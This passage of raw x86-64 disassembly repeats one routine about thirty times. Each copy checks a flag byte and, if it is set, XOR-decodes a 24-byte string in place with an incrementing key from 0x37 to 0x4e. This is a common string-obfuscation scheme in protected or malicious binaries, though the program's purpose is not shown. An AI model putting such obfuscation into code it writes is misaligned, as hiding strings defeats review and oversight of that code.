je 0x140121d80
xor byte [0x1402f0b70], 0x37
xor byte [0x1402f0b71], 0x38
xor byte [0x1402f0b72], 0x39
xor byte [0x1402f0b73], 0x3a
xor byte [0x1402f0b74], 0x3b
xor byte [0x1402f0b75], 0x3c
xor byte [0x1402f0b76], 0x3d
xor byte [0x1402f0b77], 0x3e
xor byte [0x1402f0b78], 0x3f
xor byte [0x1402f0b79], 0x40
xor byte [0x1402f0b7a], 0x41
xor byte [0x1402f0b7b], 0x42
xor byte [0x1402f0b7c], 0x43
xor byte [0x1402f0b7d], 0x44
xor byte [0x1402f0b7e], 0x45
xor byte [0x1402f0b7f], 0x46
xor byte [0x1402f0b80], 0x47
xor byte [0x1402f0b81], 0x48
xor byte [0x1402f0b82], 0x49
xor byte [0x1402f0b83], 0x4a
xor byte [0x1402f0b84], 0x4b
xor byte [0x1402f0b85], 0x4c
xor byte [0x1402f0b86], 0x4d
xor al, 0x4e
mov byte [0x1402f0b87], al
movzx eax, byte [0x1402f01b7]
test al, al
je 0x140121e38
xor byte [0x1402f01a0], 0x37
xor byte [0x1402f01a1], 0x38
xor byte [0x1402f01a2], 0x39
xor byte [0x1402f01a3], 0x3a
xor byte [0x1402f01a4], 0x3b
xor byte [0x1402f01a5], 0x3c
xor byte [0x1402f01a6], 0x3d
xor byte [0x1402f01a7], 0x3e
xor byte [0x1402f01a8], 0x3f
xor byte [0x1402f01a9], 0x40
xor byte [0x1402f01aa], 0x41
xor byte [0x1402f01ab], 0x42
xor byte [0x1402f01ac], 0x43
xor byte [0x1402f01ad], 0x44
xor byte [0x1402f01ae], 0x45
xor byte [0x1402f01af], 0x46
xor byte [0x1402f01b0], 0x47
xor byte [0x1402f01b1], 0x48
xor byte [0x1402f01b2], 0x49
xor byte [0x1402f01b3], 0x4a
xor byte [0x1402f01b4], 0x4b
xor byte [0x1402f01b5], 0x4c
xor byte [0x1402f01b6], 0x4d
xor al, 0x4e
mov byte [0x1402f01b7], al
movzx eax, byte [0x1402efd8f]
test al, al
je 0x140121ef0
xor byte [0x1402efd78], 0x37
xor byte [0x1402efd79], 0x38
xor byte [0x1402efd7a], 0x39
xor byte [0x1402efd7b], 0x3a
xor byte [0x1402efd7c], 0x3b
xor byte [0x1402efd7d], 0x3c
xor byte [0x1402efd7e], 0x3d
xor byte [0x1402efd7f], 0x3e
xor byte [0x1402efd80], 0x3f
xor byte [0x1402efd81], 0x40
xor byte [0x1402efd82], 0x41
xor byte [0x1402efd83], 0x42
xor byte [0x1402efd84], 0x43
xor byte [0x1402efd85], 0x44
xor byte [0x1402efd86], 0x45
xor byte [0x1402efd87], 0x46
xor byte [0x1402efd88], 0x47
xor byte [0x1402efd89], 0x48
xor byte [0x1402efd8a], 0x49
xor byte [0x1402efd8b], 0x4a
xor byte [0x1402efd8c], 0x4b
xor byte [0x1402efd8d], 0x4c
xor byte [0x1402efd8e], 0x4d
xor al, 0x4e
mov byte [0x1402efd8f], al
movzx eax, byte [0x1402f116f]
test al, al
je 0x140121fa8
xor byte [0x1402f1158], 0x37
xor byte [0x1402f1159], 0x38
xor byte [0x1402f115a], 0x39
xor byte [0x1402f115b], 0x3a
xor byte [0x1402f115c], 0x3b
xor byte [0x1402f115d], 0x3c
xor byte [0x1402f115e], 0x3d
xor byte [0x1402f115f], 0x3e
xor byte [0x1402f1160], 0x3f
xor byte [0x1402f1161], 0x40
xor byte [0x1402f1162], 0x41
xor byte [0x1402f1163], 0x42
xor byte [0x1402f1164], 0x43
xor byte [0x1402f1165], 0x44
xor byte [0x1402f1166], 0x45
xor byte [0x1402f1167], 0x46
xor byte [0x1402f1168], 0x47
xor byte [0x1402f1169], 0x48
xor byte [0x1402f116a], 0x49
xor byte [0x1402f116b], 0x4a
xor byte [0x1402f116c], 0x4b
xor byte [0x1402f116d], 0x4c
xor byte [0x1402f116e], 0x4d
xor al, 0x4e
mov byte [0x1402f116f], al
movzx eax, byte [0x1402f1297]
test al, al
je 0x140122060
xor byte [0x1402f1280], 0x37
xor byte [0x1402f1281], 0x38
xor byte [0x1402f1282], 0x39
xor byte [0x1402f1283], 0x3a
xor byte [0x1402f1284], 0x3b
xor byte [0x1402f1285], 0x3c
xor byte [0x1402f1286], 0x3d
xor byte [0x1402f1287], 0x3e
xor byte [0x1402f1288], 0x3f
xor byte [0x1402f1289], 0x40
xor byte [0x1402f128a], 0x41
xor byte [0x1402f128b], 0x42
xor byte [0x1402f128c], 0x43
xor byte [0x1402f128d], 0x44
xor byte [0x1402f128e], 0x45
xor byte [0x1402f128f], 0x46
xor byte [0x1402f1290], 0x47
xor byte [0x1402f1291], 0x48
xor byte [0x1402f1292], 0x49
xor byte [0x1402f1293], 0x4a
xor byte [0x1402f1294], 0x4b
xor byte [0x1402f1295], 0x4c
xor byte [0x1402f1296], 0x4d
xor al, 0x4e
mov byte [0x1402f1297], al
movzx eax, byte [0x1402f11ff]
test al, al
je 0x140122118
xor byte [0x1402f11e8], 0x37
xor byte [0x1402f11e9], 0x38
xor byte [0x1402f11ea], 0x39
xor byte [0x1402f11eb], 0x3a
xor byte [0x1402f11ec], 0x3b
xor byte [0x1402f11ed], 0x3c
xor byte [0x1402f11ee], 0x3d
xor byte [0x1402f11ef], 0x3e
xor byte [0x1402f11f0], 0x3f
xor byte [0x1402f11f1], 0x40
xor byte [0x1402f11f2], 0x41
xor byte [0x1402f11f3], 0x42
xor byte [0x1402f11f4], 0x43
xor byte [0x1402f11f5], 0x44
xor byte [0x1402f11f6], 0x45
xor byte [0x1402f11f7], 0x46
xor byte [0x1402f11f8], 0x47
xor byte [0x1402f11f9], 0x48
xor byte [0x1402f11fa], 0x49
xor byte [0x1402f11fb], 0x4a
xor byte [0x1402f11fc], 0x4b
xor byte [0x1402f11fd], 0x4c
xor byte [0x1402f11fe], 0x4d
xor al, 0x4e
mov byte [0x1402f11ff], al
movzx eax, byte [0x1402efcff]
test al, al
je 0x1401221d0
xor byte [0x1402efce8], 0x37
xor byte [0x1402efce9], 0x38
xor byte [0x1402efcea], 0x39
xor byte [0x1402efceb], 0x3a
xor byte [0x1402efcec], 0x3b
xor byte [0x1402efced], 0x3c
xor byte [0x1402efcee], 0x3d
xor byte [0x1402efcef], 0x3e
xor byte [0x1402efcf0], 0x3f
xor byte [0x1402efcf1], 0x40
xor byte [0x1402efcf2], 0x41
xor byte [0x1402efcf3], 0x42
xor byte [0x1402efcf4], 0x43
xor byte [0x1402efcf5], 0x44
xor byte [0x1402efcf6], 0x45
xor byte [0x1402efcf7], 0x46
xor byte [0x1402efcf8], 0x47
xor byte [0x1402efcf9], 0x48
xor byte [0x1402efcfa], 0x49
xor byte [0x1402efcfb], 0x4a
xor byte [0x1402efcfc], 0x4b
xor byte [0x1402efcfd], 0x4c
xor byte [0x1402efcfe], 0x4d
xor al, 0x4e
mov byte [0x1402efcff], al
movzx eax, byte [0x1402f04af]
test al, al
je 0x140122288
xor byte [0x1402f0498], 0x37
xor byte [0x1402f0499], 0x38
xor byte [0x1402f049a], 0x39
xor byte [0x1402f049b], 0x3a
xor byte [0x1402f049c], 0x3b
xor byte [0x1402f049d], 0x3c
xor byte [0x1402f049e], 0x3d
xor byte [0x1402f049f], 0x3e
xor byte [0x1402f04a0], 0x3f
xor byte [0x1402f04a1], 0x40
xor byte [0x1402f04a2], 0x41
xor byte [0x1402f04a3], 0x42
xor byte [0x1402f04a4], 0x43
xor byte [0x1402f04a5], 0x44
xor byte [0x1402f04a6], 0x45
xor byte [0x1402f04a7], 0x46
xor byte [0x1402f04a8], 0x47
xor byte [0x1402f04a9], 0x48
xor byte [0x1402f04aa], 0x49
xor byte [0x1402f04ab], 0x4a
xor byte [0x1402f04ac], 0x4b
xor byte [0x1402f04ad], 0x4c
xor byte [0x1402f04ae], 0x4d
xor al, 0x4e
mov byte [0x1402f04af], al
movzx eax, byte [0x1402f103f]
test al, al
je 0x140122340
xor byte [0x1402f1028], 0x37
xor byte [0x1402f1029], 0x38
xor byte [0x1402f102a], 0x39
xor byte [0x1402f102b], 0x3a
xor byte [0x1402f102c], 0x3b
xor byte [0x1402f102d], 0x3c
xor byte [0x1402f102e], 0x3d
xor byte [0x1402f102f], 0x3e
xor byte [0x1402f1030], 0x3f
xor byte [0x1402f1031], 0x40
xor byte [0x1402f1032], 0x41
xor byte [0x1402f1033], 0x42
xor byte [0x1402f1034], 0x43
xor byte [0x1402f1035], 0x44
xor byte [0x1402f1036], 0x45
xor byte [0x1402f1037], 0x46
xor byte [0x1402f1038], 0x47
xor byte [0x1402f1039], 0x48
xor byte [0x1402f103a], 0x49
xor byte [0x1402f103b], 0x4a
xor byte [0x1402f103c], 0x4b
xor byte [0x1402f103d], 0x4c
xor byte [0x1402f103e], 0x4d
xor al, 0x4e
mov byte [0x1402f103f], al
movzx eax, byte [0x1402efecf]
test al, al
je 0x1401223f8
xor byte [0x1402efeb8], 0x37
xor byte [0x1402efeb9], 0x38
xor byte [0x1402efeba], 0x39
xor byte [0x1402efebb], 0x3a
xor byte [0x1402efebc], 0x3b
xor byte [0x1402efebd], 0x3c
xor byte [0x1402efebe], 0x3d
xor byte [0x1402efebf], 0x3e
xor byte [0x1402efec0], 0x3f
xor byte [0x1402efec1], 0x40
xor byte [0x1402efec2], 0x41
xor byte [0x1402efec3], 0x42
xor byte [0x1402efec4], 0x43
xor byte [0x1402efec5], 0x44
xor byte [0x1402efec6], 0x45
xor byte [0x1402efec7], 0x46
xor byte [0x1402efec8], 0x47
xor byte [0x1402efec9], 0x48
xor byte [0x1402efeca], 0x49
xor byte [0x1402efecb], 0x4a
xor byte [0x1402efecc], 0x4b
xor byte [0x1402efecd], 0x4c
xor byte [0x1402efece], 0x4d
xor al, 0x4e
mov byte [0x1402efecf], al
movzx eax, byte [0x1402f0857]
test al, al
je 0x1401224b0
xor byte [0x1402f0840], 0x37
xor byte [0x1402f0841], 0x38
xor byte [0x1402f0842], 0x39
xor byte [0x1402f0843], 0x3a
xor byte [0x1402f0844], 0x3b
xor byte [0x1402f0845], 0x3c
xor byte [0x1402f0846], 0x3d
xor byte [0x1402f0847], 0x3e
xor byte [0x1402f0848], 0x3f
xor byte [0x1402f0849], 0x40
xor byte [0x1402f084a], 0x41
xor byte [0x1402f084b], 0x42
xor byte [0x1402f084c], 0x43
xor byte [0x1402f084d], 0x44
xor byte [0x1402f084e], 0x45
xor byte [0x1402f084f], 0x46
xor byte [0x1402f0850], 0x47
xor byte [0x1402f0851], 0x48
xor byte [0x1402f0852], 0x49
xor byte [0x1402f0853], 0x4a
xor byte [0x1402f0854], 0x4b
xor byte [0x1402f0855], 0x4c
xor byte [0x1402f0856], 0x4d
xor al, 0x4e
mov byte [0x1402f0857], al
movzx eax, byte [0x1402f136f]
test al, al
je 0x140122568
xor byte [0x1402f1358], 0x37
xor byte [0x1402f1359], 0x38
xor byte [0x1402f135a], 0x39
xor byte [0x1402f135b], 0x3a
xor byte [0x1402f135c], 0x3b
xor byte [0x1402f135d], 0x3c
xor byte [0x1402f135e], 0x3d
xor byte [0x1402f135f], 0x3e
xor byte [0x1402f1360], 0x3f
xor byte [0x1402f1361], 0x40
xor byte [0x1402f1362], 0x41
xor byte [0x1402f1363], 0x42
xor byte [0x1402f1364], 0x43
xor byte [0x1402f1365], 0x44
xor byte [0x1402f1366], 0x45
xor byte [0x1402f1367], 0x46
xor byte [0x1402f1368], 0x47
xor byte [0x1402f1369], 0x48
xor byte [0x1402f136a], 0x49
xor byte [0x1402f136b], 0x4a
xor byte [0x1402f136c], 0x4b
xor byte [0x1402f136d], 0x4c
xor byte [0x1402f136e], 0x4d
xor al, 0x4e
mov byte [0x1402f136f], al
movzx eax, byte [0x1402efda7]
test al, al
je 0x140122620
xor byte [0x1402efd90], 0x37
xor byte [0x1402efd91], 0x38
xor byte [0x1402efd92], 0x39
xor byte [0x1402efd93], 0x3a
xor byte [0x1402efd94], 0x3b
xor byte [0x1402efd95], 0x3c
xor byte [0x1402efd96], 0x3d
xor byte [0x1402efd97], 0x3e
xor byte [0x1402efd98], 0x3f
xor byte [0x1402efd99], 0x40
xor byte [0x1402efd9a], 0x41
xor byte [0x1402efd9b], 0x42
xor byte [0x1402efd9c], 0x43
xor byte [0x1402efd9d], 0x44
xor byte [0x1402efd9e], 0x45
xor byte [0x1402efd9f], 0x46
xor byte [0x1402efda0], 0x47
xor byte [0x1402efda1], 0x48
xor byte [0x1402efda2], 0x49
xor byte [0x1402efda3], 0x4a
xor byte [0x1402efda4], 0x4b
xor byte [0x1402efda5], 0x4c
xor byte [0x1402efda6], 0x4d
xor al, 0x4e
mov byte [0x1402efda7], al
movzx eax, byte [0x1402f1097]
test al, al
je 0x1401226d8
xor byte [0x1402f1080], 0x37
xor byte [0x1402f1081], 0x38
xor byte [0x1402f1082], 0x39
xor byte [0x1402f1083], 0x3a
xor byte [0x1402f1084], 0x3b
xor byte [0x1402f1085], 0x3c
xor byte [0x1402f1086], 0x3d
xor byte [0x1402f1087], 0x3e
xor byte [0x1402f1088], 0x3f
xor byte [0x1402f1089], 0x40
xor byte [0x1402f108a], 0x41
xor byte [0x1402f108b], 0x42
xor byte [0x1402f108c], 0x43
xor byte [0x1402f108d], 0x44
xor byte [0x1402f108e], 0x45
xor byte [0x1402f108f], 0x46
xor byte [0x1402f1090], 0x47
xor byte [0x1402f1091], 0x48
xor byte [0x1402f1092], 0x49
xor byte [0x1402f1093], 0x4a
xor byte [0x1402f1094], 0x4b
xor byte [0x1402f1095], 0x4c
xor byte [0x1402f1096], 0x4d
xor al, 0x4e
mov byte [0x1402f1097], al
movzx eax, byte [0x1402eff17]
test al, al
je 0x140122790
xor byte [0x1402eff00], 0x37
xor byte [0x1402eff01], 0x38
xor byte [0x1402eff02], 0x39
xor byte [0x1402eff03], 0x3a
xor byte [0x1402eff04], 0x3b
xor byte [0x1402eff05], 0x3c
xor byte [0x1402eff06], 0x3d
xor byte [0x1402eff07], 0x3e
xor byte [0x1402eff08], 0x3f
xor byte [0x1402eff09], 0x40
xor byte [0x1402eff0a], 0x41
xor byte [0x1402eff0b], 0x42
xor byte [0x1402eff0c], 0x43
xor byte [0x1402eff0d], 0x44
xor byte [0x1402eff0e], 0x45
xor byte [0x1402eff0f], 0x46
xor byte [0x1402eff10], 0x47
xor byte [0x1402eff11], 0x48
xor byte [0x1402eff12], 0x49
xor byte [0x1402eff13], 0x4a
xor byte [0x1402eff14], 0x4b
xor byte [0x1402eff15], 0x4c
xor byte [0x1402eff16], 0x4d
xor al, 0x4e
mov byte [0x1402eff17], al
movzx eax, byte [0x1402f11b7]
test al, al
je 0x140122848
xor byte [0x1402f11a0], 0x37
xor byte [0x1402f11a1], 0x38
xor byte [0x1402f11a2], 0x39
xor byte [0x1402f11a3], 0x3a
xor byte [0x1402f11a4], 0x3b
xor byte [0x1402f11a5], 0x3c
xor byte [0x1402f11a6], 0x3d
xor byte [0x1402f11a7], 0x3e
xor byte [0x1402f11a8], 0x3f
xor byte [0x1402f11a9], 0x40
xor byte [0x1402f11aa], 0x41
xor byte [0x1402f11ab], 0x42
xor byte [0x1402f11ac], 0x43
xor byte [0x1402f11ad], 0x44
xor byte [0x1402f11ae], 0x45
xor byte [0x1402f11af], 0x46
xor byte [0x1402f11b0], 0x47
xor byte [0x1402f11b1], 0x48
xor byte [0x1402f11b2], 0x49
xor byte [0x1402f11b3], 0x4a
xor byte [0x1402f11b4], 0x4b
xor byte [0x1402f11b5], 0x4c
xor byte [0x1402f11b6], 0x4d
xor al, 0x4e
mov byte [0x1402f11b7], al
movzx eax, byte [0x1402f0c87]
test al, al
je 0x140122900
xor byte [0x1402f0c70], 0x37
xor byte [0x1402f0c71], 0x38
xor byte [0x1402f0c72], 0x39
xor byte [0x1402f0c73], 0x3a
xor byte [0x1402f0c74], 0x3b
xor byte [0x1402f0c75], 0x3c
xor byte [0x1402f0c76], 0x3d
xor byte [0x1402f0c77], 0x3e
xor byte [0x1402f0c78], 0x3f
xor byte [0x1402f0c79], 0x40
xor byte [0x1402f0c7a], 0x41
xor byte [0x1402f0c7b], 0x42
xor byte [0x1402f0c7c], 0x43
xor byte [0x1402f0c7d], 0x44
xor byte [0x1402f0c7e], 0x45
xor byte [0x1402f0c7f], 0x46
xor byte [0x1402f0c80], 0x47
xor byte [0x1402f0c81], 0x48
xor byte [0x1402f0c82], 0x49
xor byte [0x1402f0c83], 0x4a
xor byte [0x1402f0c84], 0x4b
xor byte [0x1402f0c85], 0x4c
xor byte [0x1402f0c86], 0x4d
xor al, 0x4e
mov byte [0x1402f0c87], al
movzx eax, byte [0x1402f0767]
test al, al
je 0x1401229b8
xor byte [0x1402f0750], 0x37
xor byte [0x1402f0751], 0x38
xor byte [0x1402f0752], 0x39
xor byte [0x1402f0753], 0x3a
xor byte [0x1402f0754], 0x3b
xor byte [0x1402f0755], 0x3c
xor byte [0x1402f0756], 0x3d
xor byte [0x1402f0757], 0x3e
xor byte [0x1402f0758], 0x3f
xor byte [0x1402f0759], 0x40
xor byte [0x1402f075a], 0x41
xor byte [0x1402f075b], 0x42
xor byte [0x1402f075c], 0x43
xor byte [0x1402f075d], 0x44
xor byte [0x1402f075e], 0x45
xor byte [0x1402f075f], 0x46
xor byte [0x1402f0760], 0x47
xor byte [0x1402f0761], 0x48
xor byte [0x1402f0762], 0x49
xor byte [0x1402f0763], 0x4a
xor byte [0x1402f0764], 0x4b
xor byte [0x1402f0765], 0x4c
xor byte [0x1402f0766], 0x4d
xor al, 0x4e
mov byte [0x1402f0767], al
movzx eax, byte [0x1402f086f]
test al, al
je 0x140122a70
xor byte [0x1402f0858], 0x37
xor byte [0x1402f0859], 0x38
xor byte [0x1402f085a], 0x39
xor byte [0x1402f085b], 0x3a
xor byte [0x1402f085c], 0x3b
xor byte [0x1402f085d], 0x3c
xor byte [0x1402f085e], 0x3d
xor byte [0x1402f085f], 0x3e
xor byte [0x1402f0860], 0x3f
xor byte [0x1402f0861], 0x40
xor byte [0x1402f0862], 0x41
xor byte [0x1402f0863], 0x42
xor byte [0x1402f0864], 0x43
xor byte [0x1402f0865], 0x44
xor byte [0x1402f0866], 0x45
xor byte [0x1402f0867], 0x46
xor byte [0x1402f0868], 0x47
xor byte [0x1402f0869], 0x48
xor byte [0x1402f086a], 0x49
xor byte [0x1402f086b], 0x4a
xor byte [0x1402f086c], 0x4b
xor byte [0x1402f086d], 0x4c
xor byte [0x1402f086e], 0x4d
xor al, 0x4e
mov byte [0x1402f086f], al
movzx eax, byte [0x1402f0557]
test al, al
je 0x140122b28
xor byte [0x1402f0540], 0x37
xor byte [0x1402f0541], 0x38
xor byte [0x1402f0542], 0x39
xor byte [0x1402f0543], 0x3a
xor byte [0x1402f0544], 0x3b
xor byte [0x1402f0545], 0x3c
xor byte [0x1402f0546], 0x3d
xor byte [0x1402f0547], 0x3e
xor byte [0x1402f0548], 0x3f
xor byte [0x1402f0549], 0x40
xor byte [0x1402f054a], 0x41
xor byte [0x1402f054b], 0x42
xor byte [0x1402f054c], 0x43
xor byte [0x1402f054d], 0x44
xor byte [0x1402f054e], 0x45
xor byte [0x1402f054f], 0x46
xor byte [0x1402f0550], 0x47
xor byte [0x1402f0551], 0x48
xor byte [0x1402f0552], 0x49
xor byte [0x1402f0553], 0x4a
xor byte [0x1402f0554], 0x4b
xor byte [0x1402f0555], 0x4c
xor byte [0x1402f0556], 0x4d
xor al, 0x4e
mov byte [0x1402f0557], al
movzx eax, byte [0x1402f07df]
test al, al
je 0x140122be0
xor byte [0x1402f07c8], 0x37
xor byte [0x1402f07c9], 0x38
xor byte [0x1402f07ca], 0x39
xor byte [0x1402f07cb], 0x3a
xor byte [0x1402f07cc], 0x3b
xor byte [0x1402f07cd], 0x3c
xor byte [0x1402f07ce], 0x3d
xor byte [0x1402f07cf], 0x3e
xor byte [0x1402f07d0], 0x3f
xor byte [0x1402f07d1], 0x40
xor byte [0x1402f07d2], 0x41
xor byte [0x1402f07d3], 0x42
xor byte [0x1402f07d4], 0x43
xor byte [0x1402f07d5], 0x44
xor byte [0x1402f07d6], 0x45
xor byte [0x1402f07d7], 0x46
xor byte [0x1402f07d8], 0x47
xor byte [0x1402f07d9], 0x48
xor byte [0x1402f07da], 0x49
xor byte [0x1402f07db], 0x4a
xor byte [0x1402f07dc], 0x4b
xor byte [0x1402f07dd], 0x4c
xor byte [0x1402f07de], 0x4d
xor al, 0x4e
mov byte [0x1402f07df], al
movzx eax, byte [0x1402f077f]
test al, al
je 0x140122c98
xor byte [0x1402f0768], 0x37
xor byte [0x1402f0769], 0x38
xor byte [0x1402f076a], 0x39
xor byte [0x1402f076b], 0x3a
xor byte [0x1402f076c], 0x3b
xor byte [0x1402f076d], 0x3c
xor byte [0x1402f076e], 0x3d
xor byte [0x1402f076f], 0x3e
xor byte [0x1402f0770], 0x3f
xor byte [0x1402f0771], 0x40
xor byte [0x1402f0772], 0x41
xor byte [0x1402f0773], 0x42
xor byte [0x1402f0774], 0x43
xor byte [0x1402f0775], 0x44
xor byte [0x1402f0776], 0x45
xor byte [0x1402f0777], 0x46
xor byte [0x1402f0778], 0x47
xor byte [0x1402f0779], 0x48
xor byte [0x1402f077a], 0x49
xor byte [0x1402f077b], 0x4a
xor byte [0x1402f077c], 0x4b
xor byte [0x1402f077d], 0x4c
xor byte [0x1402f077e], 0x4d
xor al, 0x4e
mov byte [0x1402f077f], al
movzx eax, byte [0x1402f004f]
test al, al
je 0x140122d50
xor byte [0x1402f0038], 0x37
xor byte [0x1402f0039], 0x38
xor byte [0x1402f003a], 0x39
xor byte [0x1402f003b], 0x3a
xor byte [0x1402f003c], 0x3b
xor byte [0x1402f003d], 0x3c
xor byte [0x1402f003e], 0x3d
xor byte [0x1402f003f], 0x3e
xor byte [0x1402f0040], 0x3f
xor byte [0x1402f0041], 0x40
xor byte [0x1402f0042], 0x41
xor byte [0x1402f0043], 0x42
xor byte [0x1402f0044], 0x43
xor byte [0x1402f0045], 0x44
xor byte [0x1402f0046], 0x45
xor byte [0x1402f0047], 0x46
xor byte [0x1402f0048], 0x47
xor byte [0x1402f0049], 0x48
xor byte [0x1402f004a], 0x49
xor byte [0x1402f004b], 0x4a
xor byte [0x1402f004c], 0x4b
xor byte [0x1402f004d], 0x4c
xor byte [0x1402f004e], 0x4d
xor al, 0x4e
mov byte [0x1402f004f], al
movzx eax, byte [0x1402efe3f]
test al, al
je 0x140122e08
xor byte [0x1402efe28], 0x37
xor byte [0x1402efe29], 0x38
xor byte [0x1402efe2a], 0x39
xor byte [0x1402efe2b], 0x3a
xor byte [0x1402efe2c], 0x3b
xor byte [0x1402efe2d], 0x3c
xor byte [0x1402efe2e], 0x3d
xor byte [0x1402efe2f], 0x3e
xor byte [0x1402efe30], 0x3f
xor byte [0x1402efe31], 0x40
xor byte [0x1402efe32], 0x41
xor byte [0x1402efe33], 0x42
xor byte [0x1402efe34], 0x43
xor byte [0x1402efe35], 0x44
xor byte [0x1402efe36], 0x45
xor byte [0x1402efe37], 0x46
xor byte [0x1402efe38], 0x47
xor byte [0x1402efe39], 0x48
xor byte [0x1402efe3a], 0x49
xor byte [0x1402efe3b], 0x4a
xor byte [0x1402efe3c], 0x4b
xor byte [0x1402efe3d], 0x4c
xor byte [0x1402efe3e], 0x4d
xor al, 0x4e
mov byte [0x1402efe3f], al
movzx eax, byte [0x1402f0b6f]
test al, al
je 0x140122ec0
xor byte [0x1402f0b58], 0x37
xor byte [0x1402f0b59], 0x38
xor byte [0x1402f0b5a], 0x39
xor byte [0x1402f0b5b], 0x3a
xor byte [0x1402f0b5c], 0x3b
xor byte [0x1402f0b5d], 0x3c
xor byte [0x1402f0b5e], 0x3d
xor byte [0x1402f0b5f], 0x3e
xor byte [0x1402f0b60], 0x3f
xor byte [0x1402f0b61], 0x40
xor byte [0x1402f0b62], 0x41
xor byte [0x1402f0b63], 0x42
xor byte [0x1402f0b64], 0x43
xor byte [0x1402f0b65], 0x44
xor byte [0x1402f0b66], 0x45
xor byte [0x1402f0b67], 0x46
xor byte [0x1402f0b68], 0x47
xor byte [0x1402f0b69], 0x48
xor byte [0x1402f0b6a], 0x49
xor byte [0x1402f0b6b], 0x4a
xor byte [0x1402f0b6c], 0x4b
xor byte [0x1402f0b6d], 0x4c
xor byte [0x1402f0b6e], 0x4d
xor al, 0x4e
mov byte [0x1402f0b6f], al
movzx eax, byte [0x1402effd7]
test al, al
je 0x140122f78
xor byte [0x1402effc0], 0x37
xor byte [0x1402effc1], 0x38
xor byte [0x1402effc2], 0x39
xor byte [0x1402effc3], 0x3a
xor byte [0x1402effc4], 0x3b
xor byte [0x1402effc5], 0x3c
xor byte [0x1402effc6], 0x3d
xor byte [0x1402effc7], 0x3e
xor byte [0x1402effc8], 0x3f
xor byte [0x1402effc9], 0x40
xor byte [0x1402effca], 0x41
xor byte [0x1402effcb], 0x42
xor byte [0x1402effcc], 0x43
xor byte [0x1402effcd], 0x44
xor byte [0x1402effce], 0x45
xor byte [0x1402effcf], 0x46
xor byte [0x1402effd0], 0x47
xor byte [0x1402effd1], 0x48
xor byte [0x1402effd2], 0x49
xor byte [0x1402effd3], 0x4a
xor byte [0x1402effd4], 0x4b
xor byte [0x1402effd5], 0x4c
xor byte [0x1402effd6], 0x4d
xor al, 0x4e
mov byte [0x1402effd7], al
movzx eax, byte [0x1402f12af]
test al, al
je 0x140123030
xor byte [0x1402f1298], 0x37
xor byte [0x1402f1299], 0x38
xor byte [0x1402f129a], 0x39
xor byte [0x1402f129b], 0x3a
xor byte [0x1402f129c], 0x3b
xor byte [0x1402f129d], 0x3c
xor byte [0x1402f129e], 0x3d
xor byte [0x1402f129f], 0x3e
xor byte [0x1402f12a0], 0x3f
xor byte [0x1402f12a1], 0x40
xor byte [0x1402f12a2], 0x41
xor byte [0x1402f12a3], 0x42
xor byte [0x1402f12a4], 0x43
xor byte [0x1402f12a5], 0x44
xor byte [0x1402f12a6], 0x45
xor byte [0x1402f12a7], 0x46
xor byte [0x1402f12a8], 0x47
xor byte [0x1402f12a9], 0x48
xor byte [0x1402f12aa], 0x49
xor byte [0x1402f12ab], 0x4a
xor byte [0x1402f12ac], 0x4b
xor byte [0x1402f12ad], 0x4c
xor byte [0x1402f12ae], 0x4d
xor al, 0x4e
mov byte [0x1402f12af], al
movzx eax, byte [0x1402f0faf]
test al, al
je 0x1401230e8
xor byte [0x1402f0f98], 0x37
xor byte [0x1402f0f99], 0x38
xor byte [0x1402f0f9a], 0x39
xor byte [0x1402f0f9b], 0x3a
xor byte [0x1402f0f9c], 0x3b
xor byte [0x1402f0f9d], 0x3c
xor byte [0x1402f0f9e], 0x3d
xor byte [0x1402f0f9f], 0x3e
xor byte [0x1402f0fa0], 0x3f
xor byte [0x1402f0fa1], 0x40
xor byte [0x1402f0fa2], 0x41
xor byte [0x1402f0fa3], 0x42
xor byte [0x1402f0fa4], 0x43
xor byte [0x1402f0fa5], 0x44
xor byte [0x1402f0fa6], 0x45
xor byte [0x1402f0fa7], 0x46
xor byte [0x1402f0fa8], 0x47
xor byte [0x1402f0fa9], 0x48
xor byte [0x1402f0faa], 0x49
xor byte [0x1402f0fab], 0x4a
xor byte [0x1402f0fac], 0x4b
xor byte [0x1402f0fad], 0x4c
xor byte [0x1402f0fae], 0x4d
xor al, 0x4e
mov byte [0x1402f0faf], al
movzx eax, byte [0x1402f095f]
test al, al
je 0x1401231a0
xor byte [0x1402f0948], 0x37
xor byte [0x1402f0949], 0x38
xor byte [0x1402f094a], 0x39
xor byte [0x1402f094b], 0x3a
xor byte [0x1402f094c], 0x3b
xor byte [0x1402f094d], 0x3c
xor byte [0x1402f094e], 0x3d
xor byte [0x1402f094f], 0x3e
xor byte [0x1402f0950], 0x3f
xor byte [0x1402f0951], 0x40
xor byte [0x1402f0952], 0x41
xor byte [0x1402f0953], 0x42
xor byte [0x1402f0954], 0x43
xor byte [0x1402f0955], 0x44
xor byte [0x1402f0956], 0x45
xor byte [0x1402f0957], 0x46
xor byte [0x1402f0958], 0x47
xor byte [0x1402f0959], 0x48
xor byte [0x1402f095a], 0x49
xor byte [0x1402f095b], 0x4a
xor byte [0x1402f095c], 0x4b
xor byte [0x1402f095d], 0x4c
xor byte [0x1402f095e], 0x4d
xor al, 0x4e
mov byte [0x1402f095f], al
movzx eax, byte [0x1402effef]
test al, al
je 0x140123258
xor byte [0x1402effd8], 0x37
xor byte [0x1402effd9], 0x38
xor byte [0x1402effda], 0x39
xor byte [0x1402effdb], 0x3a
xor byte [0x1402effdc], 0x3b
xor byte [0x1402effdd], 0x3c
xor byte [0x1402effde], 0x3d
xor byte [0x1402effdf], 0x3e
xor byte [0x1402effe0], 0x3f
xor byte [0x1402effe1], 0x40
xor byte [0x1402effe2], 0x41
xor byte [0x1402effe3], 0x42
xor byte [0x1402effe4], 0x43
xor byte [0x1402effe5], 0x44
xor byte [0x1402effe6], 0x45
xor byte [0x1402effe7], 0x46
xor byte [0x1402effe8], 0x47
xor byte [0x1402effe9], 0x48
xor byte [0x1402effea], 0x49
xor byte [0x1402effeb], 0x4a
xor byte [0x1402effec], 0x4b
xor byte [0x1402effed], 0x4c
xor byte [0x1402effee], 0x4d
xor al, 0x4e
mov byte [0x1402effef], al
movzx eax, byte [0x1402efdbf]
test al, al
je 0x140123310
xor byte [0x1402efda8], 0x37
xor byte [0x1402efda9], 0x38
xor byte [0x1402efdaa], 0x39
xor byte [0x1402efdab], 0x3a
xor byte [0x1402efdac], 0x3b
xor byte [0x1402efdad], 0x3c
xor byte [0x1402efdae], 0x3d
xor byte [0x1402efdaf], 0x3e
xor byte [0x1402efdb0], 0x3f
xor byte [0x1402efdb1], 0x40
xor byte [0x1402efdb2], 0x41
xor byte [0x1402efdb3], 0x42
xor byte [0x1402efdb4], 0x43
